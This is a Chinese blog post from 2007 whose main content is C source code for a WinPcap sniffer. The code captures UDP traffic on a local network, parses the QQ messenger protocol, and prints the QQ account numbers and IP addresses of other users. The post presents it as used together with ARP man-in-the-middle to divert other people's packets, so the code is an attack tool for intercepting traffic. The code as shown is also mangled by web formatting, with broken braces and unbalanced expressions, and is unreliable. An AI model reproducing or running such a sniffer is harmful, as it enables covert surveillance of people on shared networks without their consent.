winpcap编程之局域网QQ号码嗅探

winpcap编程之局域网QQ号码嗅探

分类: 网络开发包 2007-05-22 12:10 978人阅读 评论(0) 收藏 举报

 在交换网络中,结合arp中间人,把别人的包转到自己机子上,分析QQ协议进行判断QQ号码。

 

/**//* QQ_sniff by xklxlmw*/
#include <pcap.h>
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib, "Packet.lib")
#pragma comment(lib, "wsock32.lib")//hton()函数用到
#pragma pack(1)//内存对齐,使内存紧凑
/**//*
-----------------------------------------------------------------------------------------------------------------------
下面是以太网协议格式的定义
-----------------------------------------------------------------------------------------------------------------------
*/
struct ether_header
...{
    u_int8_t ether_dhost[
6];
    
/**//* 目的以太网地址 */
    u_int8_t ether_shost[6];
    
/**//* 源以太网地址 */
    u_int16_t ether_type;
    
/**//* 以太网类型 */
};
/**//* 下面是IP地址格式的定义 */
typedef u_int32_t in_addr_t;

/**//*
-----------------------------------------------------------------------------------------------------------------------
下面是IP协议格式的定义
-----------------------------------------------------------------------------------------------------------------------
*/
struct ip_header
...{
#if defined(WORDS_BIGENDIAN)
    u_int8_t ip_version: 4,  /**//* 版本 */
ip_header_length: 4/**//* 首部长度 */
#else
    u_int8_t ip_header_length: 4, ip_version: 4;
#endif
    u_int8_t ip_tos;
    
/**//* 服务质量 */
    u_int16_t ip_length;
    
/**//* 总长度 */
    u_int16_t ip_id;
    
/**//* 标识 */
    u_int16_t ip_off;
    
/**//* 偏移 */
    u_int8_t ip_ttl;
    
/**//* 生存时间 */
    u_int8_t ip_protocol;
    
/**//* 协议类型 */
    u_int16_t ip_checksum;
    
/**//* 校验和 */
    struct in_addr ip_souce_address;
    
/**//* 源IP地址 */
    struct in_addr ip_destination_address;
    
/**//* 目的IP地址 */
};
/**//*
-----------------------------------------------------------------------------------------------------------------------
下面是UDP协议格式的定义
-----------------------------------------------------------------------------------------------------------------------
*/
struct udp_header
...{
    u_int16_t udp_source_port;
    
/**//* 源端口号 */
    u_int16_t udp_destination_port;
    
/**//* 目的端口号 */
    u_int16_t udp_length;
    
/**//* 长度 */
    u_int16_t udp_checksum;
    
/**//* 校验和 */
};
/**//*
-----------------------------------------------------------------------------------------------------------------------
下面是QQ协议格式的定义
-----------------------------------------------------------------------------------------------------------------------
*/
typedef struct qq_udp_header
...{
    u_char    begin_tag;    
//always 0x02 till now
    u_short   sender_ver;   //client version, details below
    u_short   qq_cmd;       //command code, QQ_CMD_XXX 
    u_short   sq_no;        //sequence number.
    u_char    data[1];      //following are data.
};
#pragma pack()

unsigned 
int swapu32(unsigned int n) //u_int网络字节转换
...
    
// In fact htonl() return it!
    return(((n & 0xff000000>> 24| ((n & 0x000000ff<< 24| 
        ((n 
& 0x00ff0000>> 8| ((n & 0x0000ff00<< 8)); 
}

/**//*
=======================================================================================================================
下面是实现捕获和分析QQ协议数据包的函数定义
=======================================================================================================================
*/
qq_protocol_packet_callback(u_char *argument, const struct pcap_pkthdr *packet_header, const u_char *packet_content)
...{
    
static u_int QQ_Num;//QQ号
    struct ip_header *pip_header;//IP协议数据变量
    struct qq_udp_header *qq_protocol;//QQ协议数据变量
    
    pip_header
=(struct ip_header*)(packet_content + 14);//获得IP协议数据变量
    qq_protocol = (struct qq_udp_header*)(packet_content + 14+20+8);//获得QQ协议数据变量
    
//判断QQ协议包,取QQ号 如果是01 00表示是发往服务器的包前面tag也是0x02,但QQ号不在原来位置//
    if((qq_protocol->begin_tag==0x02)&&(qq_protocol->sender_ver==ntohs(0x0100)))
    
...{
        
if(QQ_Num!=swapu32( *(unsigned int*)(qq_protocol->data-1)))
        
...{
            QQ_Num
=swapu32( *(unsigned int*)(qq_protocol->data-1));
            printf(
"监听到一个QQ号:%-10u IP: %s ",QQ_Num,inet_ntoa(pip_header->ip_souce_address));
            
//    printf("%x %x ",*(u_char*)(&(qq_protocol->begin_tag)+16),*(u_short*)(&(qq_protocol->sender_ver)+8));
        }
    }    
    
if((qq_protocol->begin_tag==0x02)&&(qq_protocol->sender_ver!=ntohs(0x0100)))
    
...{
        
if(QQ_Num!=swapu32( *(unsigned int*)qq_protocol->data))
        
...{
            QQ_Num
=swapu32( *(unsigned int*)qq_protocol->data);
            printf(
"监听到一个QQ号:%-10u IP: %s ",QQ_Num,inet_ntoa(pip_header->ip_souce_address));
            
//    printf("%x %x ",*(u_char*)(&(qq_protocol->begin_tag)+16),*(u_short*)(&(qq_protocol->sender_ver)+8));
        }
    }
    if((*(u_char*)(&(qq_protocol->begin_tag)+16)==0x02)&&(*(u_short*)(&qq_protocol->sender_ver+8)==ntohs(0x0100)))
    
...{
        
        
if(QQ_Num!=swapu32( *(unsigned int*)(qq_protocol->data+15)))
        
...{
            QQ_Num
=swapu32( *(unsigned int*)(qq_protocol->data+15));
            printf(
"监听到一个QQ号:%-10u IP: %s ",QQ_Num,inet_ntoa(pip_header->ip_souce_address));
        }

    }
}
/**//*
=======================================================================================================================
下面是实现捕获和分析UDP协议数据包的函数定义
=======================================================================================================================
*/
void udp_protocol_packet_callback(u_char *argument, const struct pcap_pkthdr *packet_header, const u_char *packet_content)
...{
    
struct udp_header *udp_protocol;
    
/**//* UDP协议数据变量 */
    u_short source_port;
    
/**//* 源端口号 */
    u_short destination_port;
    
/**//* 目的端口号 */
    u_short length;
    
/**//* 长度 */
    
    udp_protocol 
= (struct udp_header*)(packet_content + 14+20);
    
/**//* 获得UDP协议数据内容 */
    source_port = ntohs(udp_protocol->udp_source_port);
    
/**//* 获得源端口号 */
    destination_port = ntohs(udp_protocol->udp_destination_port);
    
/**//* 获得目的端口号 */
    length = ntohs(udp_protocol->udp_length);
    
/**//* 获得长度 */
    if((length!=0)&&(destination_port==8000))
        qq_protocol_packet_callback(argument, packet_header, packet_content);
    
}

/**//*
=======================================================================================================================
下面是分析IP协议的函数的定义
=======================================================================================================================
*/
void ip_protocol_packet_callback(u_char *argument, const struct pcap_pkthdr *packet_header, const u_char *packet_content)
...{
    
struct ip_header *ip_protocol;
    
/**//* IP协议变量 */
    ip_protocol = (struct ip_header*)(packet_content + 14);
    
/**//* 获得IP协议数据内容 */
    switch (ip_protocol->ip_protocol)
    
...{
    
case 17:
        udp_protocol_packet_callback(argument, packet_header, packet_content);
        
break;
        
/**//* 如果上层协议为UDP协议,就调用分析UDP协议的函数,注意此时的参数传递形式 */
    default:
        
break;
    }

}
/**//*
=======================================================================================================================
下面是分析以太网协议的回调函数的定义
=======================================================================================================================
*/
void ethernet_protocol_packet_callback(u_char *argument, const struct pcap_pkthdr *packet_header, const u_char *packet_content)
...{
    u_short ethernet_type;
    
/**//* 以太网类型 */
    struct ether_header *ethernet_protocol;
    
/**//* 以太网协议变量 */
    ethernet_protocol = (struct ether_header*)packet_content;
    
/**//* 获得以太网协议数据内容 */
    ethernet_type = ntohs(ethernet_protocol->ether_type);
    
/**//* 获得以太网类型 */
    switch (ethernet_type)
    
...{
    
case 0x0800:
        ip_protocol_packet_callback(argument, packet_header, packet_content);
        
break;
        
/**//* 上层协议为IP协议,就调用分析IP 协议的函数,注意参数的传递 */
    default:
        
break;
    }

}

void main()
...{   
    pcap_if_t 
*alldevs;
    
    
char error_content[PCAP_ERRBUF_SIZE];
    
/**//**//**//* 存储错误信息 */
    pcap_t *pcap_handle;
    
/**//**//**//* winpcap句柄 */
    bpf_u_int32 net_mask;
    
/**//**//**//* 掩码地址 */
    bpf_u_int32 net_ip;
    
/**//**//**//* 网络地址 */
    char *net_interface;
    
/**//**//**//* 网络接口 */
    struct bpf_program bpf_filter;
    
/**//**//**//* BPF过滤规则 */
    char bpf_filter_string[] = "ip";
    
/**//**//**//* 过滤规则字符串 */
    // net_interface = pcap_lookupdev(error_content); //因为第一个是moden的网卡,所以不用这个
    if (pcap_findalldevs(&alldevs,error_content) == -1)  
    
...{  
        fprintf(stderr,
"Error in pcap_findalldevs: %s ",error_content);  
        exit(
1);  
    }

    net_interface=alldevs->next->name;//得到第二个网卡(以太网卡)的名字
    /**//**//**//* 获得网络接口 */
    pcap_lookupnet(net_interface, &net_ip, &net_mask, error_content);
    
    
/**//**//**//* 获得网络地址和网络掩码 */
    pcap_handle = pcap_open_live(net_interface, BUFSIZ, 10, error_content);
    
/**//**//**//* 打开网路接口 */
    pcap_freealldevs(alldevs); //释放接口结点链表
    pcap_compile(pcap_handle, &bpf_filter, bpf_filter_string, 0, net_ip);
    
/**//**//**//* 编译过滤规则 */
    pcap_setfilter(pcap_handle, &bpf_filter);
    
/**//**//**//* 设置过滤规则 */
    if (pcap_datalink(pcap_handle) != DLT_EN10MB)
        
return ;
    printf(
"开始嗅探QQ号码......... ");
    pcap_loop(pcap_handle,  
- 1, ethernet_protocol_packet_callback, NULL);
    
/**//* 注册回调函数,循环捕获网络数据包,调用回调函数进行分析 */
    pcap_close(pcap_handle);
    
/**//* 关闭Winpcap操作 */
}

编程中注意:对内存取值,数组名最好不要再用取地址运算

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值